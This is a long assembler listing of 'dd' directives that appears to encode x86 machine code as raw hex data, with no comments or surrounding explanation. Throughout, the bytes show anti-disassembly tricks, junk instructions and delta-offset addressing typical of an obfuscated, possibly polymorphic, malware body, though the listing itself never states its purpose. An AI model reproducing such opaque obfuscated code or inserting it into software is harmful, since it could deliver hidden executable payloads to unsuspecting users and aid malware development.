		dd 142DBD89h, 0D03B06ACh, 12830Fh, 0BD8B0000h, 6AC1935h
		dd 33559D89h, 36E906ACh, 0FC000000h, 52D8D8Bh, 5E906ACh
		dd 0BB000000h, 811C0242h, 0F01E183h, 1C84h, 0BDBD8B00h
		dd 0F06AC27h, 0A583DBBFh, 6AC052Dh, 559589FEh, 0F506AC0Ch
		dd 0E9h, 6EB58D00h, 0F506AFF7h,	9D8B006Ah, 6AC087Dh, 214595FFh
		dd 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0B589BFC3h, 6AC0C0Dh, 752B9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 78F8466Bh, 6650AAF8h, 9724D381h, 0FCE1835Bh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 0B05BD8Bh
		dd 9D8B06ACh, 6AC247Dh,	55006AFCh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 1A56432Eh, 0EF6128EEh
		dd 94D9D8Bh, 0FD8A06ACh, 6060C02Bh, 9E96160h, 93000000h
		dd 41A2F767h, 559E36Dh,	759D0B61h, 6106AC34h, 0BAh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 5D99704Ah, 89794085h, 0AC06559Dh, 0C233AD06h, 0D003E8D1h
		dd 7504E983h, 0D0BF66F4h, 8E960EAh, 32000000h, 0D9A1C3F0h
		dd 6108F255h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	3DC35646h, 0B13CBE55h, 880Dh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 893D3CEAh, 0AC2161BDh, 0D958B06h, 2906AC2Fh,	0AC327185h
		dd 58D8B06h, 8B06AC1Eh,	0C28B50F9h, 0C103188Bh,	0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0F984C355h,	519D89A6h
		dd 8306AC25h, 0AC1229BDh, 840F0006h, 57h, 14890Fh, 0BE80000h
		dd 60000000h, 680066EFh, 15B84A2Ah, 8B669822h, 0B85FFEh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0FF96C353h, 8589CBC6h,	6AC3485h
		dd 4E338D8Dh, 68BB06ACh, 0FF37A8B0h, 0FD8589E1h, 8306AC30h
		dd 0AC27F1BDh, 840F0006h, 445h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 14C35040h, 9D33C0DFh, 6AC077Dh
		dd 27F1BD83h, 0F0106ACh, 42F84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 644CED89h
		dd 0D9B70FFCh, 27F1BD83h, 0F0306ACh, 3C986h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 589D8227h, 0DFD6715Bh, 8C66F560h, 2820FD9h, 0B3000000h
		dd 4E18076h, 0DE8h, 5D582F00h, 7D4FAF4Eh, 46FF1657h, 0E7BF3304h
		dd 5B5BE80Fh, 840FC90Ah, 0BFh, 11F19589h, 858B06ACh, 6AC32B9h
		dd 9E9h, 72AD4700h, 12264681h, 853365D1h, 6AC19E9h, 2979BD8Bh
		dd 0B35006ACh, 24048952h, 0F59D8B53h, 5F06AC21h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B009D5C3h, 0C5AA3CE9h, 0F24D5B0h, 8Fh, 0C3816600h
		dd 23687C8Ch, 0BB932FC7h, 77E56B2Dh, 0DC240481h, 296CEF3Ch
		dd 0AC12759Dh, 0BD95FF06h, 6606AC09h, 8952ECBFh, 0AFB21D85h
		dd 71BD8B06h, 0E906AC10h, 22Fh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 42C35545h, 0A3F7BEDEh, 0A4F78112h
		dd 8B76EFB2h, 0AFB21585h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 1800C742h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0BD23C356h, 761E017Ch,	8B5721FBh
		dd 0AFB219B5h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0CAB0D49Ch, 59BD8BE4h
		dd 8B06AC21h, 0AC09699Dh, 0A9858B06h, 0E806AC00h, 5, 0D89E2DEDh
		dd 259D8BD5h, 5B06AC0Ah, 6A0689h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0BA326DC3h, 0A2BDE184h
		dd 32B9858Bh, 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 4689D8C3h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 29DFB3B0h
		dd 0CE34986Fh, 50967FD7h, 7E6D47BBh, 8D299611h,	6AC0681h
		dd 0B215B5FFh, 6A06AFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 6E6C5BC3h, 317D6F74h, 0AC20E5BDh
		dd 7D876806h, 525069A3h, 0F525051h, 5B585A31h, 0BF66310Fh
		dd 585A957Bh, 78243481h, 6A69BC7Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 4F62C350h
		dd 0C06C3596h, 0A223BDE8h, 0B21D858Dh, 6A06AFh,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0FECEFDC3h, 0ED79CC5Eh, 8B66CE3Ch, 35BF90FAh, 500BC33Bh
		dd 10820Fh, 6E80000h, 0F4000000h, 2B85B6BBh, 74BF66D9h
		dd 9905FAEh, 0AC05719Dh, 0BD95FF06h, 6A06AC09h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8899C351h, 3544F7C9h, 600CFAC2h, 1D19D89h, 816606ACh
		dd 61ACE6D7h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	0A6C35141h, 0B2FBA950h,	60607296h, 31C99589h, 8B6606ACh
		dd 840F61F2h, 4, 0D58DBA66h, 0DD9D8B61h, 0C706AC24h, 0AC27F185h
		dd 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0DCFAF2FFh, 0EB816613h, 0BD831EB9h
		dd 6AFB21Dh, 33840F00h,	0F000000h, 38Eh, 1FDF8000h, 40E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 860F24E7h, 2, 3050DA8Bh,	4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 734AF6Dh, 0FFC6BBE4h, 950191B6h, 6AC127Dh, 27F1BD83h
		dd 0F0306ACh, 45D85h, 0D1858900h, 8306AC10h, 0AFB21DBDh
		dd 840F0006h, 44Ah, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 35C35545h, 0BCB8BBD6h, 0BB66B2DAh, 0B5FF7E60h
		dd 6AFB21Dh, 68B0Fh, 0BD010000h, 6AC211Dh, 9C595FFh, 6A06ACh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0C002BEC3h, 29EBE82Eh, 892D0763h, 0AC31D59Dh, 11B58B06h
		dd 6606AFB2h, 81F6A8BFh, 0F2B09BC7h, 106C70Bh, 6A000100h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0AB18C355h, 6408C90h, 0FFBF0F28h,	0CC60F781h
		dd 0E8966924h, 0Ah, 3AD3B1A7h, 3C9EA90Dh, 0BB669411h, 505B3A54h
		dd 8B967EB3h, 0AC08419Dh, 1DB5FF06h, 0F06AFB2h,	686h, 0A18D3100h
		dd 0BB06AC2Fh, 78D92844h, 1F5595FFh, 0EF8006ACh, 11B58B94h
		dd 3106AFB2h, 0AC0EFD85h, 0E5858B06h, 6A06AC00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0ED45C353h, 0C48689h, 9D890000h, 6AC21C9h, 2F0D958Bh
		dd 6A06ACh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0AE91B4C3h, 2DEBFC5Eh, 0DE9A59Ch,	18000000h
		dd 5798E8F5h, 5E7ACDCBh, 983D9990h, 6604C283h, 0AFD7EF81h
		dd 6A205089h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 2399C356h, 667B769Eh, 9E7ED381h
		dd 1D18589h, 858D06ACh,	6AFC71Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 73C35242h, 70186DF4h, 8D892527h
		dd 6AC012Dh, 6810Fh, 9D8B0000h,	6AC0C5Dh, 0B88689h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 69AAD8C3h, 0E55712A4h, 31006AD7h, 0AC1BF5BDh, 1DB5FF06h
		dd 0E806AFB2h, 6, 65A70902h, 8B669076h,	95FF5BFEh, 6AC0DA5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0ADC35343h
		dd 99BD6EE7h, 0BF0FE3A0h, 0C99D0BFAh, 8006AC08h, 0BB50DACBh
		dd 599A91E7h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 32FFC352h, 0AFF27224h
		dd 1DB5FF03h, 6A06AFB2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0CAFAC352h,	6890F26h
		dd 81000000h, 136175EBh, 0D95FF38h, 0F06AC09h, 681h, 0F19D3300h
		dd 8306AC10h, 0AC0B61BDh, 840F0006h, 63h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 0A4C35141h, 0E7872F2Dh
		dd 6860Fh, 9D890000h, 6AC0FB9h,	89DF8B50h, 6A2434h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 900C0AC3h, 0EE9h, 0EDDDC600h, 0F2560B58h, 0CA50F18Bh
		dd 0FF097184h, 0AFB21DB5h, 0B59D8906h, 0FF06AC1Ah, 0AC213595h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0FF13710Eh, 0AFB21DB5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0C61873E2h, 0F0F798Eh, 0D995FF45h, 6A06AC14h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 909CC356h, 6C58B897h, 0DE8B6655h, 1E9BD83h, 0F0206ACh
		dd 6284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0BAAB6A6Ah, 0BECF7CE3h, 21ADB529h
		dd 950106ACh, 6AC11BDh,	5A9858Bh, 6A06ACh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0B1DB59C3h
		dd 0C6F3C53Fh, 8E0F0000h, 3, 0C7D2D780h, 0AC300185h, 6
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0BF83750Ch, 3265BD89h, 89E906ACh, 6AFFFFF3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0E30C352h, 8BB7FFCDh, 6017B7C1h, 2440E5B8h
		dd 6870F17h, 1000000h, 0AC09E195h, 858D6106h, 6AC2741h
		dd 1C259D09h, 0B75006ACh, 240489F1h, 274A0CBBh,	31006A0Dh
		dd 0AC33A5BDh, 8B006A06h, 0AC06459Dh, 6A858D06h, 6A06B094h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 5456C353h, 941A54A0h, 0F3801D6Fh,	5C08315h
		dd 1A259D8Bh, 669006ACh, 508084BBh, 12E8h, 80BED100h, 867A65A3h
		dd 0A7A37A30h, 210CF12Fh, 8A8B6042h, 0E9905BF9h, 14h, 7EE086AAh
		dd 0F6C85FAAh, 94FC4103h, 0ACD916F9h, 54BEECFh,	8B66006Ah
		dd 80006ADFh, 9D8BDFC3h, 6AC0875h, 0AF995FFh, 0BF6606ACh
		dd 8D8D5840h, 6AF8B80h,	21E18589h, 9D0306ACh, 6AC0CB1h
		dd 0BF66D1FFh, 0BD83E2DEh, 6AC0161h, 4B850F01h,	60000000h
		dd 60026A61h, 8BD88B66h, 0AC0E9985h, 8B506106h,	240489FBh
		dd 85296057h, 6AC2001h,	95FF5F61h, 6AC0DA5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 3EC35040h, 880FF610h
		dd 2, 96E9FA8Bh, 0E800000Dh, 0
		dd 74ED815Dh, 0F06B094h, 1987h,	0EE800h, 20CD0000h, 57E78C45h
		dd 60295660h, 0A84B9328h, 0F152EEBBh, 5E85F61h,	0F0000000h
		dd 48013E21h, 68E0Fh, 0BD8B0000h, 6AC3221h, 3B858D5Bh
		dd 6A06AF7Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 8C25C352h, 0E4D183C7h,	895AB3DDh
		dd 0AC34E9B5h, 820F5006h, 2, 489D88Bh, 39BD8B24h, 6406AC24h
		dd 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 935530C3h, 258964E6h, 0
		dd 3810Fh, 8B660000h, 7585FFDFh, 6A06AC33h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FCCBC353h
		dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD33BFC3h, 6AC0831h, 6E8h, 0F4992900h, 8B1C7F03h
		dd 0AC2F019Dh, 0B5FF5B06h, 6AC1155h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 6EC35545h, 699259F6h, 11E82A3Ch
		dd 0A9000000h, 1139832Fh, 47D1648Fh, 5F4A2B40h,	0DB7AF828h
		dd 2D850151h, 5F06AC14h, 21BB665Fh, 6995FFFBh, 0E906AC20h
		dd 11Ch, 0B0FB8B66h, 8E800h, 6A420000h,	8EADAB33h, 81668ED6h
		dd 5FC8DCDFh, 0EE970E6h, 64000000h, 0CDE04B4Bh,	1A918831h
		dd 82D6AA2Fh, 0F71E4B6h, 48Eh, 30BB6600h, 0F613C30h, 0DB83h
		dd 0FBBF0F00h, 89C8B60Fh, 0AC1EC18Dh, 6BA06h, 8F0F0000h
		dd 6, 2699BD8Bh, 0C18B06ACh, 9F5BD8Bh, 0E8C106ACh, 0E2F76604h
		dd 0BF0FC82Bh, 699589F8h, 8B06AC1Ch, 1DB589D1h,	0E906AC0Fh
		dd 6, 0EE59D8Bh, 858B06ACh, 6AC3041h, 5E8h, 0D70CDF00h
		dd 835B88BDh, 0EF8007C0h, 0C083B2h, 58E0Fh, 81660000h
		dd 3B9C70C3h, 13830FD0h, 66000000h, 662129BFh, 0E9C957BBh
		dd 58h,	9978D781h, 8D8B4050h, 6AC13ADh,	2FC1BB66h, 1E183F8h
		dd 3E840Fh, 0F88B0000h,	13ADA583h, 0E8FE06ACh, 0Fh, 6A794347h
		dd 0C8173718h, 2E4639BEh, 0F6C1F56h, 387h, 0D8BF0F00h
		dd 4195895Fh, 0E906AC30h, 7, 20F540B1h,	0E9A76D1Dh, 0
		dd 71B58Dh, 0B58906B0h,	6AC0531h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 4FB07FC3h
		dd 8B019E74h, 0AC094D9Dh, 4595FF06h, 0B06AC21h,	0AC2819BDh
		dd 91DB906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 57A6A7C3h, 0D2B973D9h, 840F0D90h
		dd 0Bh,	0CDB58960h, 8006AC14h, 8361ACF2h, 6AFCFCE1h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0FA74C350h, 3E52FDCEh, 1F799D8Bh, 830F06ACh,	5, 69CB8166h
		dd 6AC02BA5h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 850CC350h, 0C2EF8166h,	0BABCh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0F3B093C3h, 8B50CAB4h, 0AC31F99Dh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 0DE8B66F4h, 0B5E68A60h, 880D61FBh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 43A5C350h, 11F19531h, 958B06ACh
		dd 6AC2F0Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	14C35343h, 8EB31235h, 28319589h, 8D8B06ACh, 6AC1E05h
		dd 12E9h, 0ADF43300h, 32ABA2F1h, 1753FB38h, 57CBF1F4h
		dd 504830A4h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 0E9958958h, 6A06AC08h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 1E21C355h, 8986A016h
		dd 0AC0FC1BDh, 29BD8306h, 6AC12h, 40840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 24A1B4C3h, 66BBC41Bh, 0BD8BD304h, 6AC0E05h, 0B8h, 4521BF00h
		dd 8D8D675Eh, 6AC4E33h,	0FFCDDB80h, 0BD83FCE1h,	6AC27F1h
		dd 0E4840F00h, 6A000003h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 38EBC350h, 72A2F9Ah
		dd 0F56934Ah, 68Fh, 8D9D3100h, 5B06AC14h, 27F1BD83h, 0F0106ACh
		dd 3C184h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 6FB5A1C7h, 0BFD7B7F4h, 74BA3D57h
		dd 27F1BD83h, 0F0306ACh, 35786h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 2928E679h
		dd 0FDBD8B60h, 6606AC00h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0CCBC4AC3h, 8B04E180h
		dd 0AC123D9Dh, 0FC90A06h, 12D84h, 11B58900h, 8B06AC19h
		dd 0AC32B985h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0A9E54939h, 895698E6h
		dd 0AC22019Dh, 85335F06h, 6AC19E9h, 14E8h, 720B5400h, 71C5F57Fh
		dd 51B89698h, 519C9901h, 266B259Dh, 5E86Dh, 2D0E0000h
		dd 0FE64641h, 89h, 905F5B00h, 0D88B6660h, 8B665061h, 958990F9h
		dd 6AC0545h, 958B6060h,	6AC2655h, 61616160h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E710B5C3h, 6941065Bh, 8F684101h, 662B34B6h,	81DFDDBFh
		dd 0B5702434h, 11E82B2Bh, 1E000000h, 0D6ED1B7Bh, 3AB5CA63h
		dd 1951E01Fh, 0E842992h, 6D8D3160h, 0E806AC29h,	0Eh, 35D49FB7h
		dd 661514D2h, 40B4B1CEh, 615E359Eh, 0BD95FF5Bh,	6A06AC09h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 7A2BC350h, 8084E00Ch, 8589F3DFh, 6AFB21Dh
		dd 1860Fh, 0E9F90000h, 183h, 21318D01h,	858B06ACh, 6AFB215h
		dd 0C7FE8Bh, 18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	39C35343h, 48A7B6DDh, 868D2E1Fh, 19B58B41h, 6A06AFB2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 3EC0C355h, 91388892h, 0F99589AAh,	8B06AC2Fh
		dd 0AC00A985h, 8B068906h, 0AC0A999Dh, 0B9858B06h, 6A06AC32h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 673AC353h, 2B2601F4h, 0B10CE781h,	468930ACh
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0B4330D74h, 0E05BB98Ah, 0B99D89FDh, 8106AC07h
		dd 763F13C3h, 60509659h, 0A811BE66h, 61F78B66h,	0DA8B505Bh
		dd 55006A96h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E812A590h, 0Bh,	92F0FBF7h, 331A8D7Ah, 89FB025Bh
		dd 0AC0C2D95h, 0BF665F06h, 0B5FFDC80h, 6AFB215h, 3535B589h
		dd 0AC6806ACh, 816D3593h, 90532434h, 0BF0F6D2Ah, 0E78166FFh
		dd 858D462Fh, 6AFB21Dh,	0DA8A5750h, 2404895Bh, 10E9h, 8E4D4E00h
		dd 0E68112B6h, 0D6D2CF60h, 2A5360BAh, 0BD95FF03h, 6A06AC09h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 6126C353h, 0C7FB8B66h, 0AC27F185h, 306h
		dd 19D8900h, 8306AC34h,	0AFB21DBDh, 840F0006h, 34h, 8ECACB81h
		dd 44E97A99h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0CCA7C352h,	77DA2B70h
		dd 0BBF8014Eh, 440737A1h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0E9C08B00h, 0Fh,	8BCA91D8h, 8E7B4329h, 0B24DAAD4h
		dd 6A0FD888h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0D74DC351h, 41BDE674h,	0BD891AF6h
		dd 6AC0DE5h, 8714D4BBh,	0F1BD8328h, 306AC27h, 46E850Fh
		dd 0BE80000h, 0F000000h, 3A94A702h, 0E61EB1D8h,	870FA537h
		dd 0
		dd 1DBD835Bh, 6AFB2h, 44A840Fh,	0B5FF0000h, 6AFB21Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CAC35141h, 0D9D291Dh
		dd 0FF06AC1Eh, 0AC09C595h, 820F5706h, 6, 9319529h, 8B5F06ACh
		dd 0AFB211B5h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 91B38295h, 3B1E2C13h
		dd 0EB80D1F3h, 106C713h, 6A000100h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 4855C356h
		dd 2418313Dh, 96E4F380h, 9650DF8Bh, 8E9h, 678A4200h, 0F5E6BC84h
		dd 1DB5FFF6h, 6A06AFB2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0E07FC357h,	8C0F1FF1h
		dd 2, 95FFF88Bh, 6AC1F55h, 1B8D8D89h, 0B58B06ACh, 6AFB211h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B7C35040h
		dd 0E49A07Fh, 1D9D8904h, 8B06AC14h, 0AC00E585h,	18D8906h
		dd 8906AC1Ah, 0C486h, 8C0F00h, 8B000000h, 0AC2F0D95h, 28D0F06h
		dd 8B000000h, 4C283FBh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 7AC35242h, 6A205089h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0A8E5C356h
		dd 8DDA8AF0h, 0AFC71E85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0E769FF5Fh
		dd 9529FB8Bh, 6AC2755h,	0B88689h, 9D8B0000h, 6AC2E59h
		dd 14E8006Ah, 0D000000h, 6B57B86Ch, 81DEEF68h, 4BE5033Ah
		dd 5661F1EAh, 8954B678h, 0AC1C7D85h, 0B5FF5F06h, 6AFB21Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8BC35343h
		dd 0FFF9BF0Fh, 0AC0DA595h, 0BB666006h, 0FE98DA3h, 4B000000h
		dd 78FC85C1h, 9DF547ECh, 9B7EB3A1h, 966155F4h, 0E9525057h
		dd 9, 0EE6416BAh, 5C042912h, 51310F4Bh,	5F585A5Fh, 66606050h
		dd 612A63B9h, 0D8A0Fh, 7E80000h, 0D8000000h, 74119C59h
		dd 615B75C8h, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 3E517F2Eh, 0B5FFDB31h, 6AFB21Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1CC35747h
		dd 1D9D3306h, 8906AC24h, 0AC301585h, 0D95FF06h,	0E806AC09h
		dd 10h,	39D7B8ECh, 7147783Dh, 86E19FEAh, 0A5F8092Dh, 7FDB8166h
		dd 0BD835F19h, 6AC0B61h, 34840F00h, 50000000h, 7E960h
		dd 0BC910000h, 4607B67Dh, 11E8DCh, 6A870000h, 0CF2C7206h
		dd 0BAC9956Eh, 0A3DD5469h, 0F353130h, 88h, 89615F00h, 81662434h
		dd 0FF71CBCFh, 0AFB21DB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0EF649DB6h
		dd 34AB4C9Ah, 0BD2F781h, 95FF4E0Ch, 6AC2135h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F2C35040h, 48722AE0h
		dd 8CDE20E0h, 7D9D89D6h, 0FF06AC10h, 0AFB21DB5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0C0AD5DF1h, 8B9A42E3h, 0AC1C1D9Dh, 0D995FF06h, 6A06AC14h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0F0D0C357h, 89406011h, 0AC3569B5h, 0E9BD8306h
		dd 206AC01h, 52840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0EE8013C3h, 80CCD9F6h
		dd 858BF5CBh, 6AC05A9h,	8BFA8B66h, 0AC2F11BDh, 0C606h
		dd 98DCD381h, 11E97B50h, 66000000h, 6404F117h, 8C43ECF4h
		dd 4E88E805h, 0D1FBDECh, 300185C7h, 6ACh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 931DCC3h, 8B9BD01h, 0BD8B06ACh, 6AC2851h, 0FFF35BE9h
		dd 66C18BFFh, 606638BBh, 27959501h, 0E08106ACh,	51C48799h
		dd 41858D61h, 6A06AC27h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0F5A6C357h,	3E338FB6h
		dd 953D523h, 0AC14259Dh, 0E8505F06h, 11h, 14F0384h, 290271EFh
		dd 330D7494h, 5BB98AB4h, 54BA60E0h, 6008ABC6h, 895B6161h
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 520782C3h, 50AEDA10h, 6A5BF5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D8C35141h, 0DF27AA16h
		dd 58DC79FDh, 3D853100h, 6A06AC29h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0AE007C86h
		dd 0F2D7815Fh, 8D5A9562h, 0B0A40485h, 11E95006h, 0E4000000h
		dd 0F6B0D04Eh, 68EC6B3Bh, 5E9FE156h, 9E573523h,	5C0835Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 51C35141h
		dd 97DC9EC9h, 2685BD8Bh, 9D2306ACh, 6AC11BDh, 0EBBF6690h
		dd 0D6BB5055h, 906906E4h, 0F5A301BBh, 29006A76h, 0AC0111B5h
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
